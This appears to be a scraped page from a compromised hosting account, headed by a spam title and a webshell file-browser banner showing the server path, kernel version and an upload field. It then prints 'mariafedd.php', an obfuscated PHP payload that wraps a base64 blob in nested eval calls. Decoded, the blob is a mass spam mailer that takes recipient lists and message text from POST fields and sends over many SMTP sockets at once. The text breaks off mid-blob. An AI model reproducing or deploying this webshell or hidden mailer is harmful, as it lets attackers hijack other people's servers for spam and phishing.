Sean Kuraly Authentic Jersey  gif89a Webshell
Current Path : /
/
home
home
/anboc275mhln
anboc275mhln
/public_html/

Linux n3plcpnl0030.prod.ams3.secureserver.net 2.6.32-896.16.1.lve1.4.54.el6.x86_64 #1 SMP Wed May 2 07:43:19 EDT 2018 x86_64

Upload File :
Current File : /home/anboc275mhln/public_html/mariafedd.php
<?php eval(eval("\$_daf7fc92fd2cb9814c24a08a1062654a = \x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65(\"DQoNCmZvcmVhY2ggKCRfUE9TVCBhcyAka2V5ID0+ICR2YWx1ZSl7DQogICRoID0gYmFzZTY0X2RlY29kZShiYXNlNjRfZGVjb2RlKCR2YWx1ZSkpOw0KfQ0KDQokZnIgPSBleHBsb2RlKCd8JywgJGgpOw0KDQokVFRfVG9fQWRkcmVzcyA9IHN0cmlwc2xhc2hlcyhiYXNlNjRfZGVjb2RlKCRmclswXSkpOw0KDQokVFRfU3ViamVjdCA9IHN0cmlwc2xhc2hlcyhiYXNlNjRfZGVjb2RlKCRmclsxXSkpOw0KJFRUX0JvZHkgPSBzdHJpcHNsYXNoZXMoYmFzZTY0X2RlY29kZSgkZnJbMl0pKTsNCiRUVF9Gcm9tX05hbWUgPSBzdHJpcHNsYXNoZXMoYmFzZTY0X2RlY29kZSgkZnJbM10pKTsNCiRUVF9Gcm9tX0FkZHJlc3MgPSBzdHJpcHNsYXNoZXMoYmFzZTY0X2RlY29kZSgkZnJbNF0pKTsNCg0KDQovL2VjaG8gICdyZWVlc3Nzc3Bvb29ubm5uc2VlZWUgJyAuICRUVF9Ub19BZGRyZXNzIC4gJyAgISEhISAnIC4gJFRUX1N1YmplY3QgIC4gJyAgISEhISAnIC4gICRUVF9Cb2R5ICAuICcgICEhISEgJyAuICRUVF9Gcm9tX05hbWUgLiAnICAhISEhICcgLiAkVFRfRnJvbV9BZGRyZXNzOw0KLy9leGl0Ow0KDQoNCg0KDQoNCi8vc2V0X3RpbWVfbGltaXQgKCA2NjYwMDAgKTsNCkBpZ25vcmVfdXNlcl9hYm9ydCAodHJ1ZSk7DQoNCmZ1bmN0aW9uIHJhbmRvbV9zdHJpbmcoJGxlbmd0aCkgew0KICAgICRrZXkgPSAnJzsNCiAgICAka2V5cyA9IHJhbmdlKCdhJywgJ3onKTsNCg0KICAgIGZvciAoJGkgPSAwOyAkaSA8ICRsZW5ndGg7ICRpKyspIHsNCiAgICAgICAgJGtleSAuPSAka2V5c1thcnJheV9yYW5kKCRrZXlzKV07DQogICAgfQ0KDQogICAgcmV0dXJuICRrZXk7DQp9DQoNCg0KDQoNCg0KZGVmaW5lKCdDRkdfTlVNX1NPQ0tFVFMnLCAzMik7DQpkZWZpbmUoJ0NGR19TT0NLX1RJTUVPVVQnLCAzMCk7DQpkZWZpbmUoJ0NGR19TT0NLX1dPUktfVElNRScsIDEyMCk7DQpkZWZpbmUoJ1NNVFBfU1RBVEVfVU5ERUYnLCAwKTsNCmRlZmluZSgnU01UUF9TVEFURV9DT05ORUNUJywgMSk7DQpkZWZpbmUoJ1NNVFBfU1RBVEVfSEVMTycsIDIpOw0KZGVmaW5lKCdTTVRQX1NUQVRFX01BSUxfRlJPTScsIDMpOw0KZGVmaW5lKCdTTVRQX1NUQVRFX1JDUFRfVE8nLCA0KTsNCmRlZmluZSgnU01UUF9TVEFURV9EQVRBJywgNSk7DQpkZWZpbmUoJ1NNVFBfU1RBVEVfQ09OVEVOVCcsIDYpOw0KZGVmaW5lKCdTTVRQX1NUQVRFX1FVSVQnLCA3KTsNCmRlZmluZSgnU01UUF9TVEFUVVNfVU5ERUYnLCAwKTsNCmRlZmluZSgnU01UUF9TVEFUVVNfTFVDS1knLCAxKTsNCmRlZmluZSgnU01UUF9TVEFUVVNfVU5MVUNLWScsIDIpOw0KZGVmaW5lKCdNQUlMX1NUQVRVU19VTkRFRklORUQnLCAwKTsNCmRlZmluZSgnTUFJTF9TVEFUVVNfUFJPQ0VTU0lORycsIDEpOw0KZGVmaW5lKCdNQUlMX1NUQVRVU19MVUNLWScsIDIpOw0KZGVmaW5lKCdNQUlMX1NUQVRVU19VTkxVQ0tZX1RJTUVPVVQnLCAzKTsNCmRlZmluZSgnTUFJTF9TVEFUVVNfVU5MVUNLWV9DT05ORUNUJywgNCk7DQpkZWZpbmUoJ01BSUxfU1RBVFVTX1VOTFVDS1lfSEVMTycsIDUpOw0KZGVmaW5lKCdNQUlMX1NUQVRVU19VTkxVQ0tZX01BSUxfRlJPTScsIDYpOw0KZGVmaW5lKCdNQUlMX1NUQVRVU19VTkxVQ0tZX1JDUFRfVE8nLCA3KTsNCmRlZmluZSgnTUFJTF9TVEFUVVNfVU5MVUNLWV9EQVRBJywgOCk7DQpkZWZpbmUoJ01BSUxfU1RBVFVTX1VOTFVDS1lfQ09OVEVOVCcsIDkpOw0KZGVmaW5lKCdQSFBfUVBSSU5UX01BWEwnLCA3NSk7DQpkZWZpbmUoJ1NPQ0tTX0VSUk9SX1NVQ0NFU1MnLCAwKTsNCmRlZmluZSgnU09DS1NfRVJST1JfRkFJTEVEJywgMSk7DQpkZWZpbmUoJ1NPQ0tTX0VSUk9SX1RJTUVPVVQnLCAyKTsNCmRlZmluZSgnRFNfVW5kZWYnLCAwKTsNCmRlZmluZSgnRFNfU2VuZCcsIDEpOw0KZGVmaW5lKCdEU19SZWN2JywgMik7DQpkZWZpbmUoJ0RSX1VuZGVmJywgMCk7DQpkZWZpbmUoJ0RSX1NlbmQnLCAxKTsNCmRlZmluZSgnRFJfUmVjdicsIDIpOw0KZGVmaW5lKCdEUl9UaW1lb3V0JywgMyk7DQpkZWZpbmUoJ0RSX0Nsb3NlJywgNCk7DQpkZWZpbmUoJ0RSX0Vycm9yJywgNSk7DQokZ19hT3BEYXRhICAgICAgID0gYXJyYXkoKTsNCiRnX2FNYWlsRGF0YSAgICAgPSBhcnJheSgpOw0KJGdfaUxvY2tlZE9wcyAgICA9IDA7DQokZ19pRnJlZU1haWxzICAgID0gMDsNCiRnX3NNYWlsSGVhZGVyICAgPSAnJzsNCiRnX3NNYWlsU3ViamVjdCAgPSAnJzsNCiRnX3NNYWlsQm9keSAgICAgPSAnJzsNCiRnX3NNYWlsSGVsbyAgICAgPSAnJzsNCg0KDQoNCg0KJGdfYkRiZ1Jlc3BzICAgICA9IDA7DQoNCg0KDQoNCg0KZnVuY3Rpb24gTWFpbF9Jbml0RGF0YSgpDQp7DQogIGdsb2JhbCAkZ19zTWFpbEhlYWRlciwgJGdfc01haWxTdWJqZWN0LCAkZ19zTWFpbEJvZHk7DQogIA0KICAvLyBGaWxlcw0KDQokbWggPSANCidNZXNzYWdlLUlEOiAlQklfTUVTU0FHRV9JRCUnIC4gUEhQX0VPTCAuDQonRnJvbTogJUJJX0ZST01fTkFNRSUgPCVCSV9GUk9NX0FERFIlPicgLiBQSFBfRU9MIC4NCidTdWJqZWN0OiAlQklfU1VCSkVDVCUnIC4gUEhQX0VPTCAuDQonRGF0ZTogJUJJX0RBVEUlJyAuIFBIUF9FT0wgLg0KJ01JTUUtVmVyc2lvbjogMS4wJyAuIFBIUF9FT0wgLg0KJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IHF1b3RlZC1wcmludGFibGUnIC4gUEhQX0VPTCAuDQonQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBjaGFyc2V0PSJVVEYtOCInIC4gUEhQX0VPTCAuDQonJyAuIFBIUF9FT0wgLg0KJyVCSV9CT0RZJSc7DQoNCg0KDQovL3dhcw0KLy8kbWggPSAnTWVzc2FnZS1JRDogJUJJX01FU1NBR0VfSUQlJyAuIFBIUF9FT0wgLg0KLy8nRnJvbTogJUJJX0ZST01fTkFNRSUgPCVCSV9GUk9NX0FERFIlPicgLiBQSFBfRU9MIC4NCi8vJ1RvOiAlQklfVE9fQUREUiUnIC4gUEhQX0VPTCAuDQovLydTdWJqZWN0OiAlQklfU1VCSkVDVCUnIC4gUEhQX0VPTCAuDQovLydEYXRlOiAlQklfREFURSUnIC4gUEhQX0VPTCAuDQovLydNSU1FLVZlcnNpb246IDEuMCcgLiBQSFBfRU9MIC4NCi8vJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IHF1b3RlZC1wcmludGFibGUnIC4gUEhQX0VPTCAuDQovLydDb250ZW50LVR5cGU6IHRleHQvcGxhaW47IGNoYXJzZXQ9IlVURi04IicgLiBQSFBfRU9MIC4NCi8vJycgLiBQSFBfRU9MIC4NCi8vJyVCSV9CT0RZJSc7DQoNCi8vd2FzDQovLyRtaCA9ICdNZXNzYWdlLUlEOiAlQklfTUVTU0FHRV9JRCUnIC4gUEhQX0VPTCAuDQovLydGcm9tOiAiJUJJX0ZST01fTkFNRSUiIDwlQklfRlJPTV9BRERSJT4nIC4gUEhQX0VPTCAuDQovLydUbzogJUJJX1RPX0FERFIlJyAuIFBIUF9FT0wgLg0KLy8nU3ViamVjdDogJUJJX1NVQkpFQ1QlJyAuIFBIUF9FT0wgLg0KLy8nRGF0ZTogJUJJX0RBVEUlJyAuIFBIUF9FT0wgLg0KLy8nTUlNRS1WZXJzaW9uOiAxLjAnIC4gUEhQX0VPTCAuDQovLydDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBxdW90ZWQtcHJpbnRhYmxlJyAuIFBIUF9FT0wgLg0KLy8nQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBjaGFyc2V0PSJVVEYtOCInIC4gUEhQX0VPTCAuDQovLycnIC4gUEhQX0VPTCAuDQovLyclQklfQk9EWSUnOw0KDQoNCiRnX3NNYWlsSGVhZGVyICA9ICRtaDsNCg0KDQp9DQoNCmZ1bmN0aW9uIE1haWxfTWVzc2FnZUlkKCRkb21haW4pDQp7DQogICRncjEgPSBzcHJpbnRmKCIlMDNkIiwgcmFuZCgpICUgMTApOw0KICAkZ3IyID0gc3ByaW50ZigiJTAxWCIsIHJhbmQoKSAlIDE2KTsNCiAgJGdyMyA9IHNwcmludGYoIiUwNFgiLCByYW5kKCkgJSA2NTUzNik7DQogICRncjQgPSBzcHJpbnRmKCIlMDRYIiwgcmFuZCgpICUgNjU1MzYpOw0KICAkZ3I1ID0gc3ByaW50ZigiJTA0WCIsIHJhbmQoKSAlIDY1NTM2KTsNCiAgJGdyNiA9IHNwcmludGYoIiUwNFgiLCByYW5kKCkgJSA2NTUzNik7DQogICRncjcgPSBzcHJpbnRmKCIlMDRYIiwgcmFuZCgpICUgNjU1MzYpOw0KDQogICRtZXNzYWdlSWQgPSAkZ3IxLnN0cnRvbG93ZXIoJGdyMikuJzAxYzQnLnN0cnRvbG93ZXIoJGdyMykuJ1wkJy4NCiAgICBzdHJ0b2xvd2VyKCRncjQpLnN0cnRvbG93ZXIoJGdyNSkuJ1wkJy5zdHJ0b2xvd2VyKCRncjYpLnN0cnRvbG93ZXIoJGdyNykuJ0AnLiRkb21haW47DQoNCiAgJGJvdW5kYXJ5ICA9ICctLS0tPV9OZXh0UGFydF8wMDBfJy4kZ3IxLihzcHJpbnRmKCIlMDFYIiwgcmFuZCgpICUgMTYpKS4nXzAxQzQnLiRncjcuJy4nLiRncjYuJGdyNTsNCg0KICByZXR1cm4gYXJyYXkoJG1lc3NhZ2VJZCwgJGJvdW5kYXJ5KTsNCn0NCg0KZnVuY3Rpb24gZWNucXVvdGVkKCRzdHIpDQp7DQogICRscCA9IDA7DQogICRyZXQgPSAnJzsNCiAgJGhleCA9ICIwMTIzNDU2Nzg5QUJDREVGIjsNCiAgJGxlbmd0aCA9IHN0cmxlbigkc3RyKTsNCiAgJGluZGV4ID0gMDsNCiAgIA0KICB3aGlsZSgkbGVuZ3RoLS0pDQogIHsNCiAgICBpZigoKCRjID0gJHN0clskaW5kZXgrK10pID09ICJcMDE1IikgJiYgKCRzdHJbJGluZGV4XSA9PSAiXDAxMiIpICYmICRsZW5ndGggPiAwKQ0KICAgIHsNCiAgICAgICRyZXQgLj0gIlwwMTUiOw0KICAgICAgJHJldCAuPSAkc3RyWyRpbmRleCsrXTsNCiAgICAgICRsZW5ndGgtLTsNCiAgICAgICRscCA9IDA7DQogICAgfQ0KICAgIGVsc2UNCiAgICB7DQogICAgICBpZihjdHlwZV9jbnRybCgkYykgfHwgKG9yZCgkYykgPT0gMHg3ZikgfHwgKG9yZCgkYykgJiAweDgwKSB8fCAoJGMgPT0gJz0nKQ0KICAgICAgICB8fCAoKCRjID09ICcgJykgJiYgKCRzdHJbJGluZGV4XSA9PSAiXDAxNSIpKSkNCiAgICAgIHsNCiAgICAgICAgaWYoKCRscCArPSAzKSA+IFBIUF9RUFJJTlRfTUFYTCkNCiAgICAgICAgew0KICAgICAgICAgICRyZXQgLj0gJz0nOw0KICAgICAgICAgICRyZXQgLj0gIlwwMTUiOw0KICAgICAgICAgICRyZXQgLj0gIlwwMTIiOw0KICAgICAgICAgICRscCA9IDM7DQogICAgICAgIH0NCiAgICAgICAgJHJldCAuPSAnPSc7DQogICAgICAgICRyZXQgLj0gJGhleFtvcmQoJGMpID4+IDRdOw0KICAgICAgICAkcmV0IC49ICRoZXhbb3JkKCRjKSAmIDB4Zl07DQogICAgICB9DQogICAgICBlbHNlDQogICAgICB7DQogICAgICAgIGlmKCgrKyRscCkgPiBQSFBfUVBSSU5UX01BWEwpDQogICAgICAgIHsNCiAgICAgICAgICAkcmV0IC49ICc9JzsNCiAgICAgICAgICAkcmV0IC49ICJcMDE1IjsNCiAgICAgICAgICAkcmV0IC49ICJcMDEyIjsNCiAgICAgICAgICAkbHAgPSAxOw0KICAgICAgICB9DQogICAgICAgICRyZXQgLj0gJGM7DQogICAgICB9DQogICAgfQ0KICB9DQoNCiAgcmV0dXJuICRyZXQ7DQp9DQoNCmZ1bmN0aW9uIE1haWxfR2VuZXJhdGUoJiRoZWFkZXIsICRtYWlsVG8sICRmcm9tTmFtZSwgJGZyb21BZGRyKQ0Kew0KICBnbG9iYWwgJGdfc01haWxIZWFkZXIsICRnX3NNYWlsU3ViamVjdCwgJGdfc01haWxCb2R5Ow0KDQogIGdsb2JhbCAkVFRfU3ViamVjdDsNCiAgZ2xvYmFsICRUVF9Cb2R5Ow0KICANCiAgDQogICRkYXRlICAgICAgPSBkYXRlKCJELCBqIE0gWSBIOmk6cyBPIik7DQoNCg0KICAkc3ViamVjdCA9ICRUVF9TdWJqZWN0Ow0KICAkYm9keSA9ICRUVF9Cb2R5Ow0KDQoNCiAgJGJvZHkgICAgICA9IGVjbnF1b3RlZCgkYm9keSk7DQogICRib2R5ICAgICAgPSBwcmVnX3JlcGxhY2UoJy9cclxuXC5cclxuLycsICJcclxuLi5cclxuIiwgJGJvZHkpOw0KICANCiAgbGlzdCgkbWVzc2FnZUlkLCAkYm91bmRhcnkpID0gTWFpbF9NZXNzYWdlSWQoJGZyb21BZGRyKTsNCg0KICAkaGVhZGVyID0gJGdfc01haWxIZWFkZXI7DQogIA0KICAvLyBTdGFuZGFyZCBtYWNyb3MNCiAgJGhlYWRlciA9IHByZWdfcmVwbGFjZSgnLyVCSV9EQVRFJS8nLCAkZGF0ZSwgJGhlYWRlcik7DQogICRoZWFkZXIgPSBwcmVnX3JlcGxhY2UoJy8lQklfVE9fQUREUiUvJywgJG1haWxUbywgJGhlYWRlcik7DQogICRoZWFkZXIgPSBwcmVnX3JlcGxhY2UoJy8lQklfTUVTU0FHRV9JRCUvJywgJG1lc3NhZ2VJZCwgJGhlYWRlcik7DQogICRoZWFkZXIgPSBwcmVnX3JlcGxhY2UoJy8lQklfU1VCSkVDVCUvJywgJHN1YmplY3QsICRoZWFkZXIpOw0KICAkaGVhZGVyID0gcHJlZ19yZXBsYWNlKCcvJUJJX0ZST01fTkFNRSUvJywgJGZyb21OYW1lLCAkaGVhZGVyKTsNCiAgJGhlYWRlciA9IHByZWdfcmVwbGFjZSgnLyVCSV9GUk9NX0FERFIlLycsICRmcm9tQWRkciwgJGhlYWRlcik7DQogICRoZWFkZXIgPSBwcmVnX3JlcGxhY2UoJy8lQklfQk9EWSUvJywgJGJvZHksICRoZWFkZXIpOw0KICANCiAgJGhlYWRlciAuPSAiXHJcbi5cclxuIjsNCn0NCg0KDQoNCg0KZnVuY3Rpb24gV29ya2VyX0dldFNtdHBTdGF0dXMoJHN0YXRlLCAkY29kZSkNCnsNCiAgc3dpdGNoKCRzdGF0ZSkNCiAgew0KICAgIGNhc2UgU01UUF9TVEFURV9DT05ORUNUOg0KICAgICAgaWYoJGNvZGUgPT0gMjIwKQ0KICAgICAgICByZXR1cm4gU01UUF9TVEFUVVNfTFVDS1k7DQogICAgICBicmVhazsNCg0KICAgIGNhc2UgU01UUF9TVEFURV9IRUxPOg0KICAgICAgaWYoJGNvZGUgPT0gMjUwKQ0KICAgICAgICByZXR1cm4gU01UUF9TVEFUVVNfTFVDS1k7DQogICAgICBicmVhazsNCg0KICAgIGNhc2UgU01UUF9TVEFURV9NQUlMX0ZST006DQogICAgICBpZigkY29kZSA9PSAyNTApDQogICAgICAgIHJldHVybiBTTVRQX1NUQVRVU19MVUNLWTsNCiAgICAgIGJyZWFrOw0KDQogICAgY2FzZSBTTVRQX1NUQVRFX1JDUFRfVE86DQogICAgICBpZigkY29kZSA9PSAyNTApDQogICAgICAgIHJldHVybiBTTVRQX1NUQVRVU19MVUNLWTsNCiAgICAgIGlmKCRjb2RlID09IDI1MSkNCiAgICAgICAgcmV0dXJuIFNNVFBfU1RBVFVTX0xVQ0tZOw0KICAgICAgYnJlYWs7DQoNCiAgICBjYXNlIFNNVFBfU1RBVEVfREFUQToNCiAgICAgIGlmKCRjb2RlID09IDM1NCkNCiAgICAgICAgcmV0dXJuIFNNVFBfU1RBVFVTX0xVQ0tZOw0KICAgICAgYnJlYWs7DQoNCiAgICBjYXNlIFNNVFBfU1RBVEVfQ09OVEVOVDoNCiAgICAgIGlmKCRjb2RlID09IDI1MCkNCiAgICAgICAgcmV0dXJuIFNNVFBfU1RBVFVTX0xVQ0tZOw0KICAgICAgYnJlYWs7DQoNCiAgICBjYXNlIFNNVFBfU1RBVEVfUVVJVDoNCiAgICAgIGlmKCRjb2RlID09IDIyMSkNCiAgICAgICAgcmV0dXJuIFNNVFBfU1RBVFVTX0xVQ0tZOw0KICAgICAgYnJlYWs7DQogIH0NCg0KICByZXR1cm4gU01UUF9TVEFUVVNfVU5MVUNLWTsNCn0NCg0KDQpmdW5jdGlvbiBXb3JrZXJfSW5pdERhdGEoKQ0Kew0KICBnbG9iYWwgJGdfYU1haWxEYXRhOw0KICBnbG9iYWwgJGdfaUZyZWVNYWlsczsNCiAgZ2xvYmFsICRnX2FPcERhdGE7DQogIGdsb2JhbCAkZ19zTWFpbEhlbG87DQogIGdsb2JhbCAkVFRfVG9fQWRkcmVzczsNCg0KDQoNCiAgJGRhdGEgPSBhcnJheSgnc2VydmVyJyAgICA9PiAwLA0KICAgICAgICAgICAgICAgICdtYWlsJyAgICAgID0+ICcnLA0KICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+IE1BSUxfU1RBVFVTX1VOREVGSU5FRCk7DQogICRtYWlscyA9IGV4cGxvZGUoIn4iLCAkVFRfVG9fQWRkcmVzcyk7DQovL2VjaG8gICRUVF9Ub19BZGRyZXNzOw0KICBmb3IoJGkgPSAwOyAkaSA8IGNvdW50KCRtYWlscyk7ICsrJGkpDQogIHsNCiAgICAkcGFydHMgPSBleHBsb2RlKCI6IiwgJG1haWxzWyRpXSk7DQoNCiAgICAkZGF0YVsnc2VydmVyJ10gPSAkcGFydHNbMF07DQovL2VjaG8gICcgICcgLiAgJGRhdGFbJ3NlcnZlciddIC4gJyAgJzsNCg0KICAgICRkYXRhWydtYWlsJ10gICA9ICRwYXJ0c1sxXTsNCi8vZWNobyAgJyAgJyAuICAkZGF0YVsnbWFpbCddIC4gJyAgJzsNCiAgICAkZGF0YVsnaW5kZXgnXSAgPSANCiAgICAkZ19hTWFpbERhdGFbXSA9ICRkYXRhOw0KICAgICsrJGdfaUZyZWVNYWlsczsNCiAgfQ0KIC8vICRnX3NNYWlsSGVsbyA9ICRfUE9TVFsnaGVsbyddOw0KICAgICRnX3NNYWlsSGVsbyA9IHJhbmRvbV9zdHJpbmcoOCk7DQovLyAgICAkZ19zTWFpbEhlbG8gPSAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXTsNCg0KICANCg0KICAkZGF0YSA9IGFycmF5KCdzb2NrZXQnICAgICA9PiBOVUxMLA0KICAgICAgICAgICAgICAgICdzZW5kQnVmZmVyJyA9PiAnJywNCiAgICAgICAgICAgICAgICAncmVjdkJ1ZmZlcicgPT4gJycsDQogICAgICAgICAgICAgICAgJ2xldHRlcicgICAgID0+ICcnLA0KICAgICAgICAgICAgICAgICdtYWlsSW5kZXgnICA9PiAwLA0KICAgICAgICAgICAgICAgICdzbXRwU3RhdGUnICA9PiBTTVRQX1NUQVRFX1VOREVGLA0KICAgICAgICAgICAgICAgICdkYXRhU3RhdGUnICA9PiBEU19VbmRlZiwNCiAgICAgICAgICAgICAgICAncmVzcG9uc2UnICAgPT4gJycsDQogICAgICAgICAgICAgICAgJ3N0YXJ0VGltZScgID0+IHRpbWUoKSwNCiAgICAgICAgICAgICAgICAnbGFzdFRpbWUnICAgPT4gMCk7DQogIGZvcigkaSA9IDA7ICRpIDwgQ0ZHX05VTV9TT0NLRVRTOyArKyRpKQ0KICB7DQogICAgJGRhdGFbJ2luZGV4J10gPSAkaTsNCiAgICAkZ19hT3BEYXRhW10gPSAkZGF0YTsNCiAgfQ0KfQ0KDQoNCmZ1bmN0aW9uIFdvcmtlcl9HZXRNYWlsKCkNCnsNCiAgZ2xvYmFsICRnX2FNYWlsRGF0YTsNCiAgZm9yKCRpID0gMDsgJGkgPCBjb3VudCgkZ19hTWFpbERhdGEpOyArKyRpKQ0KICB7DQogICAgJG1haWwgPSAmJGdfYU1haWxEYXRhWyRpXTsNCiAgICBpZigkbWFpbFsnc3RhdHVzJ10gPT0gTUFJTF9TVEFUVVNfVU5ERUZJTkVEKQ0KICAgIHsNCiAgICAgICRtYWlsWydzdGF0dXMnXSA9IE1BSUxfU1RBVFVTX1BST0NFU1NJTkc7DQogICAgICByZXR1cm4gYXJyYXkoJGksICRtYWlsWydzZXJ2ZXInXSk7DQogICAgfQ0KICB9DQogIHJldHVybiBhcnJheSgtMSwgMCk7DQp9DQoNCmZ1bmN0aW9uIFdvcmtlcl9QdXRNYWlsKCRpbmRleCwgJHN0YXR1cykNCnsNCiAgZ2xvYmFsICRnX2FNYWlsRGF0YTsNCiAgZ2xvYmFsICRnX2lGcmVlTWFpbHM7DQogIGdsb2JhbCAkZ19pTG9ja2VkT3BzOw0KICANCiAgJG1haWwgPSAmJGdfYU1haWxEYXRhWyRpbmRleF07DQogIGlmKCRtYWlsWydzdGF0dXMnXSA9PSBNQUlMX1NUQVRVU19QUk9DRVNTSU5HKQ0KICB7DQogICAgJG1haWxbJ3N0YXR1cyddID0gJHN0YXR1czsNCiAgICAtLSRnX2lGcmVlTWFpbHM7DQogIH0NCn0NCg0KDQpmdW5jdGlvbiBXb3JrZXJfU2V0U3RhdGVzKCYkb3BEYXRhLCAkc210cFN0YXRlLCAkZGF0YVN0YXRlKQ0Kew0KICAkb3BEYXRhWydzbXRwU3RhdGUnXSAgPSAkc210cFN0YXRlOw0KICAkb3BEYXRhWydkYXRhU3RhdGUnXSAgPSAkZGF0YVN0YXRlOw0KfQ0KDQpmdW5jdGlvbiBXb3JrZXJfU2VuZEhlbG8oJiRvcERhdGEpDQp7DQogIGdsb2JhbCAkZ19zTWFpbEhlbG87DQogIFdvcmtlcl9TZXRTdGF0ZXMoJG9wRGF0YSwgU01UUF9TVEFURV9IRUxPLCBEU19TZW5kKTsNCg0KICAkb3BEYXRhWydzZW5kQnVmZmVyJ10gID0gIkVITE8gIjsNCiAgJG9wRGF0YVsnc2VuZEJ1ZmZlciddIC49ICRnX3NNYWlsSGVsbzsNCiAgJG9wRGF0YVsnc2VuZEJ1ZmZlciddIC49ICJcclxuIjsNCiAgDQogIHJldHVybiBEUl9TZW5kOw0KfQ0KDQpmdW5jdGlvbiBXb3JrZXJfU2VuZE1haWxGcm9tKCYkb3BEYXRhKQ0Kew0KICBnbG9iYWwgJGdfYU1haWxEYXRhOw0KICBnbG9iYWwgJFRUX0Zyb21fTmFtZTsNCiAgZ2xvYmFsICRUVF9Gcm9tX0FkZHJlc3M7DQoNCiAgJG1haWwgPSAmJGdfYU1haWxEYXRhWyRvcERhdGFbJ21haWxJbmRleCddXTsNCg0KJGZyb21OYW1lID0gJFRUX0Zyb21fTmFtZTsNCiRmcm9tQWRkciA9ICRUVF9Gcm9tX0FkZHJlc3M7DQoNCi8vZWNobyAgJGZyb21OYW1lIC4gJyAjICcgLiAkZnJvbUFkZHI7DQoNCk1haWxfR2VuZXJhdGUoJG9wRGF0YVsnbGV0dGVyJ10sICRtYWlsWydtYWlsJ10sICRmcm9tTmFtZSwgJGZyb21BZGRyKTsNCg0KDQogIFdvcmtlcl9TZXRTdGF0ZXMoJG9wRGF0YSwgU01UUF9TVEFURV9NQUlMX0ZST00sIERTX1NlbmQpOw0KICAkb3BEYXRhWydzZW5kQnVmZmVyJ10gID0gIk1BSUwgRlJPTTo8IjsNCiAgJG9wRGF0YVsnc2VuZEJ1ZmZlciddIC49ICRmcm9tQWRkcjsNCiAgJG9wRGF0YVsnc2VuZEJ1ZmZlciddIC49ICI+XHJcbiI7DQoNCiAgcmV0dXJuIERSX1NlbmQ7DQp9DQoNCmZ1bmN0aW9uIFdvcmtlcl9TZW5kUXVpdCgmJG9wRGF0YSwgJG1haWxTdGF0dXMpDQp7DQogIFdvcmtlcl9TZXRTdGF0ZXMoJG9wRGF0YSwgU01UUF9TVEFURV9RVUlULCBEU19TZW5kKTsNCiAgJG9wRGF0YVsnc2VuZEJ1ZmZlciddICA9ICJRVUlUXHJcbiI7DQogICRvcERhdGFbJ3NlbmRTaXplJ10gICAgPSBzdHJsZW4oJG9wRGF0YVsnc2VuZEJ1ZmZlciddKTsNCiAgV29ya2VyX1B1dE1haWwoJG9wRGF0YVsnbWFpbEluZGV4J10sICRtYWlsU3RhdHVzKTsNCiAgcmV0dXJuIERSX1NlbmQ7DQp9DQoNCg0KZnVuY3Rpb24gV29ya2VyX0Rpc3BhdGNoQ29ubmVjdCgmJG9wRGF0YSwgJHN0YXRlKQ0Kew0KICBXb3JrZXJfU2V0U3RhdGVzKCRvcERhdGEsIFNNVFBfU1RBVEVfQ09OTkVDVCwgRFNfUmVjdik7DQogIHJldHVybiBEUl9SZWN2Ow0KfQ0KDQpmdW5jdGlvbiBXb3JrZXJfRGlzcGF0Y2hTZW5kKCYkb3BEYXRhKQ0Kew0KICAkc210cFN0YXRlID0gJG9wRGF0YVsnc210cFN0YXRlJ107DQogIGlmKCRzbXRwU3RhdGUgPT0gU01UUF9TVEFURV9IRUxPKQ0KICAgIFdvcmtlcl9TZXRTdGF0ZXMoJG9wRGF0YSwgU01UUF9TVEFURV9IRUxPLCBEUl9SZWN2KTsNCiAgZWxzZSBpZigkc210cFN0YXRlID09IFNNVFBfU1RBVEVfTUFJTF9GUk9NKQ0KICAgIFdvcmtlcl9TZXRTdGF0ZXMoJG9wRGF0YSwgU01UUF9TVEFURV9NQUlMX0ZST00sIERSX1JlY3YpOw0KICBlbHNlIGlmKCRzbXRwU3RhdGUgPT0gU01UUF9TVEFURV9SQ1BUX1RPKQ0KICAgIFdvcmtlcl9TZXRTdGF0ZXMoJG9wRGF0YSwgU01UUF9TVEFURV9SQ1BUX1RPLCBEUl9SZWN2KTsNCiAgZWxzZSBpZigkc210cFN0YXRlID09IFNNVFBfU1RBVEVfREFUQSkNCiAgICBXb3JrZXJfU2V0U3RhdGVzKCRvcERhdGEsIFNNVFBfU1RBVEVfREFUQSwgRFJfUmVjdik7DQogIGVsc2UgaWYoJHNtdHBTdGF0ZSA9PSBTTVRQX1NUQVRFX0NPTlRFTlQpDQogICAgV29ya2VyX1NldFN0YXRlcygkb3BEYXRhLCBTTVRQX1NUQVRFX0NPTlRFTlQsIERSX1JlY3YpOw0KICBlbHNlIGlmKCRzbXRwU3RhdGUgPT0gU01UUF9TVEFURV9RVUlUKQ0KICAgIFdvcmtlcl9TZXRTdGF0ZXMoJG9wRGF0YSwgU01UUF9TVEFURV9RVUlULCBEUl9SZWN2KTsNCiAgcmV0dXJuIERSX1JlY3Y7DQp9DQoNCg0KZnVuY3Rpb24gV29ya2VyX0dldFJlcGx5Q29kZSgkcmVzcG9zZSkNCnsNCiAgJHJlcGx5ID0gMDsNCiAgJGxpbmVzID0gZXhwbG9kZSgiXHJcbiIsICRyZXNwb3NlKTsNCiAgJG51bUxpbmVzID0gY291bnQoJGxpbmVzKTsNCiAgaWYoJG51bUxpbmVzID49IDIpDQogIHsNCiAgICAvLyBDaGVjaCAiXHJcbiIgYXQgdGhlIGVuZA0KICAgIGlmKCRsaW5lc1skbnVtTGluZXMgLSAxXSAhPSAnJykNCiAgICAgIHJldHVybiAkcmVwbHk7DQogICAgDQogICAgLy8gR2V0IHJlcGx5DQogICAgaWYocHJlZ19tYXRjaCgnL14oXGRcZFxkKSQvJywgJGxpbmVzWyRudW1MaW5lcyAtIDJdLCAkbWF0Y2hlcykpDQogICAgICAkcmVwbHkgPSAoaW50KSRtYXRjaGVzWzBdOw0KICAgIGVsc2UgaWYocHJlZ19tYXRjaCgnL14oXGRcZFxkKSAuKi8nLCAkbGluZXNbJG51bUxpbmVzIC0gMl0sICRtYXRjaGVzKSkNCiAgICAgICRyZXBseSA9IChpbnQpJG1hdGNoZXNbMF07DQogIH0NCiAgcmV0dXJuICRyZXBseTsNCn0NCg0KZnVuY3Rpb24gV